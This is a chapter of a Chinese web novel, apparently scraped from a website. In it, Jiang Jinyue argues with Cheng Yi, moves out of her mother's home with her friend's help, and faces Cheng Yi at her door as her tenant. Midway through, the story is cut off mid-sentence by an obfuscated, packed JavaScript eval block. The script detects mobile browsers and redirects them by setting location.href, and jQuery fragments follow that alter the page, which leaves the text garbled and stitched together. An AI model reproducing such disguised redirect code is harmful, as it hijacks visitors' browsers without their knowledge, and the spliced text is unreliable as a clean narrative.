“江浸月,你……”
杨书源涨红了脸,清爽周正的少年变得像只烫熟的小龙虾:“我觉得大家都需要冷静一下,我改天再来找你。但下次,我希望只有我们两个人。”
杨书源不善地瞪了眼程疑,阔步离开。
江浸月耳朵清净了,程疑和他的狐朋狗友吃瓜也吃爽了。
江浸月一直知道自己运气不怎么样,但最近这接二连三的,怎么到哪都有这帮阴魂不散的?
她仰头盯着程疑,无语笑了:“程同学,你这么关注我……”
程疑:?
江浸月:“不会也喜欢我吧?”
程疑:?
江浸月弯了弯唇:“不好意思啊,我不喜欢你这样的,你死心吧。”
程疑:?
空气明显静默了片刻。
扳回一局。
江浸月冷笑一声,转身打算回去。
“啧,光说我呢……”
沉默的少年人莫名其妙地呵笑了一声。
江浸月回头,就看到这混球步下台阶,吊儿郎当地冲她挑眉:“倒是你,放弃A大是追着我来的?还是觉得去了A大那边连二等奖学金也拿不到了?”
“那你呢,招飞没去是醒悟了吗,认清自己是个混球不适合部队那么伟光正的地方了?”
这两人一来一往,净往对方心窝子里插刀子。
一群人在一旁听的揪心,想去拦架又怕贸然上前被波及了……
毕竟熟悉的人都知道,程疑那张嘴,放太平洋里泡一下能毒死全地球。
现在看来,白孔雀的嘴也是个杀伤级武器。
“江同学,到底是谁关注谁啊?你还知道我招飞没去?”
程疑一把抓住了江浸月的漏洞,笑得恶劣:“你不会连我的家庭情况也一并打探了吧?”
他说这话的时候又带上了江浸月讨厌的那种傲慢腔调。
咄咄逼人又高高在上的,好像世界的中心。
真是可笑,她不久前还因为那天冤枉了他而愧疚了一会儿。现下看来,程大少爷这几天三番两次地主动招惹她,还真是睚眦必报到一点亏不吃。
“你说得对,就是你想的那样。”
江浸月不想再与他纠缠,“所以,离我远点。”
一行人看着少女冷脸走开,又悄咪咪地瞥着程疑。
他没什么特别的表情,只是从口袋里摸了个薄荷糖丢进嘴里。离得近了,还能听到糖被嘎嘣嘎嘣咬碎的声音。
众人见状,拼了命地转着脑子转移话题:“疑哥,那个,你上次做的航模还要我们打下手吗?”
“不用。”程疑直勾勾地望着少女远去的背影,“我搬出去了。”
“啊?为啥?”
“程震要带情人回去。”
闻言,一行人立马又当上了鹌鹑。
说来真怪,程家父子长得像是一个模子里印出来的,可程叔叔那个多情绅士却养出了程疑这个叛逆孤狼。
不过,没有一个人敢明着对他们评头论足,毕竟翼天航司在陵市可是能翻云覆雨的存在。
重回魔方里,江浸月虽然憋着来自程疑的闷气,但刚刚斗嘴发泄完,脑子意外冷静了下来。
就像有了个发泄的口子,排出去了所有杂乱的情绪,只留下清晰的,心底的呐喊。
纠结没用,争执没用,委屈没用,行动才有用。
等到再次换班,她找上老板娘:“宜姐,我要彻底从陶女士家搬走。”
少女轻飘飘地宣布了一个重大的决定,章柏宜直起身,认真道:“搬哪?你奶留给你那套房吗?”
“嗯,那儿离这里和学校都很近。”
“你妈知道吗?”
“她会在我搬走之后知道,搬完后我请个假,省得她来闹你。”
“小妹,我真是,又心疼又佩服你……我要是有个这样的妈,我早疯了。”
江浸月淡淡笑了下:“也许我已经疯了,只是装成正常人。”
“又在那胡说八道!”章柏宜捏了下她软乎乎的脸颊,“你妈不知道那个房子?”
“知道的,但是产证被陈奶奶保管着,陶与瓷找不到。”
“还得是奶奶和她老闺蜜靠得住,不过你又要苦一阵子了……”
“还好,日子就没甜过,能过就行。”
章柏宜一直觉得江浸月年纪轻轻,就有一种淡淡的死感。
连被逼急了发疯,都是很平静的进行。
说干就干,次日一大早趁陶女士不在,章柏宜开车载着江浸月回家取行李。
一进门,章柏宜就捂住了鼻子:“怎么一股馊味啊?”
江浸月指了指客厅那滩变质的饭菜:“章叔叔那天听到的就是这些。”
章柏宜啧啧摇头:“陶女士怎么说也是堂堂戏剧院首席,在家居然这么邋遢吗?”
其实整座屋子只有客厅饭桌那一片狼藉,其他地方都收拾得井井有条,能看出精心打理过的痕迹。
但章柏宜知道,一切都是江浸月做的。
在她还在中专鬼混的时候,这姑娘就已经踮着脚上灶台了。豆芽菜一样的身板,砍价选菜下厨做家务,样样精通。
“离了你,她自己真能活着吗?”
“不用担心,陶女士刚得了一笔巨款,够活一阵子了。”
江浸月带着她直奔卧室。
毫不意外地,她所有的证件都被藏起来了。江浸月翻遍了陶与瓷的房间,最后只剩一个上锁的床头柜。
“里边是什么?”
“应该有我的证件。”
章柏宜哦了一声,把江浸月拉开,然后把床头柜转了个面,一个后旋踢就把床头柜的后盖给踢碎了。
江浸月冲她竖了根大拇指:“不愧是黑带六段。”
章柏宜得意地挑眉,徒手把破洞撕得更大:“这种劣质柜子后封用的合成板,很脆的。你快拿吧。”
然而她只从里边摸出了一个空存折,其余什么都没找到。
注意到小姑娘有些失落,章柏宜凑过来看到五万变零的明细,脸色一黑:“这不会是你那个奖学金吧?”
“嗯。”
“哎呦我这暴脾气!”
江浸月拍了拍她的手背,把清零的存折放回柜子里,然后把床头柜放回原位,从正面甚至看不出柜子坏了。
“还有别的要找的地方吗?老娘要踹个痛快。”
“算了,去我屋里收拾吧。”
证件只有开学要用。
而航大是陶与瓷执意要报的,所以江浸月不怕她扣着这些不给。
这次搬家从打包开始到结束,不到一个小时就完成了。
她在这个家住了十八年,真要走的时候,收拾出来的东西却只有两个行李袋。
东西少到根本不需要宜姐来帮忙……
看着那两个小小的行李袋,章柏宜心疼地叹了口气。拎起来发现里边大部分都是书后,她忍不住了:“你这丫头,她把你奖学金全花了,你能不能拿她点值钱的?”
“书中自有黄金屋。而且……”
少女丝毫没有留恋地将门关上,笑着看向章柏宜:“最值钱的就是我,我把我争取出来了。”
她说这话的时候笑得很甜,是那种由内而外的轻松。
章柏宜揉了把她的脑袋:“说得也对!”
二人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469330|201391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很快到了江浸月的新居所,和之前的住处比,这个一居室的小阁楼到处都透着紧凑和老旧,从后窗探出去,甚至能够到隔壁楼的晾衣杆。
但好在屋里整洁温馨,出门也便利。
章柏宜帮忙简单整理了一下,四下巡视一圈后,她交代道:“明天我把店里多余的监控给你装一个,自己一个人住多当心。有需要的就跟我说。”
江浸月倒也没客气,看时间刚好中午,于是做了顿简易的暖居饭。
送走宜姐,江浸月把一切都归置妥当后,看着屋里空出来的那个墙角,她下意识将床底下闲置的樟木箱子给侧过来放着。
再铺上一层旧衣服,勉强可以当成一个小狗窝。
现在她不和陶与瓷一起住了,那就可以随心所欲地弄一些她想要而被陶与瓷明令禁止的事物。
所以,她第一个想到的就是魔方里后门的那只小流浪狗。
等再养熟一点,就把它带回来。
她悄悄地这样计划着。
日子有了憧憬,她像只满血的小蜜蜂一样,又洗了不少东西拿到露台晾晒。
傍晚暮色正好,洗好的衣服在夕阳余温下散发着让人放松的皂角清香。
望着布置好的屋子,她长长松了一口气。
从小到大,她幻想过无数次逃离陶与瓷的场景,没想到离开得毫无规划又匆忙。
她讨厌没在计划内和不受控制的事,但这次例外。
哪怕只是一点小小的远离,也是她目前为止,能做到的最大反抗。
晒透的夏凉被刚被叠起来,外楼梯的铁门突然被拍了几下。
金属碰撞出噼里啪啦的声音,带着几分不耐。
江浸月听得头皮一紧,以为陶与瓷这么快就找来了,抓着被子的指尖微微泛凉。
“开门。”
听到是熟悉的,带着几分微沙的低沉男声,江浸月绷着的神经顷刻松掉许多。
她放下被子,隔着门和程疑对视:“干什么?”
他像是刚刚运动回来,臂上带着护腕,穿一件简单纯黑背心外加一条作训裤。身后橘色的夕阳洒下,薄汗在起伏的肌肉间闪烁着蜜色的光。
不经意间就夺走了外人的目光。
他仰头灌了口水,喉结轻滚,垂着眼皮懒懒看她:“钥匙丢了。”
又是这个烂借口,如果她凑巧不在,那他还不打算回家了吗?
江浸月不为所动:“钥匙丢了就找开锁师傅去配钥匙。”
“不开?”
程疑那双被热意和汗水浸得发亮的黑眸,此刻正隔着栏杆直勾勾地望着她,带着独属于少年与青年间难以形容的野性气息,像是下一秒就会扑过来咬上她的脖子。
江浸月被他盯得下意识后退一步,意识到自己气势弱了几分,她抱着胳膊轻哼。
声未落,只见程疑抓着栏杆,蓦地翻身一跃。
薄荷味的衣角翻飞,额发扬起,少年有着蓬勃的力量感和爆发力,轻松地越过了一米七高的楼梯围墙,极其嚣张地降落在她面前。
看着微微怔住的少女,他轻扯了下唇角,一字一句笑得很坏:“退。租。”
程疑是恶劣的,江浸月脾气硬。
在平常,硬碰硬会更硬。
但这招,百试百灵。
她确实找不到比他出价高的租客,也确实无比需要这笔钱来上大学。
少女的黑眸微微颤动,眼中的不满渐渐变得摇摆:“……退房的话,要提前一个月告知,不然除了违约金,当月房租也不退……”
程疑逼近她半步,明明是逆光看过来的,却好像透过那刺眼的光把她的一切情绪都看穿:“那就开门。”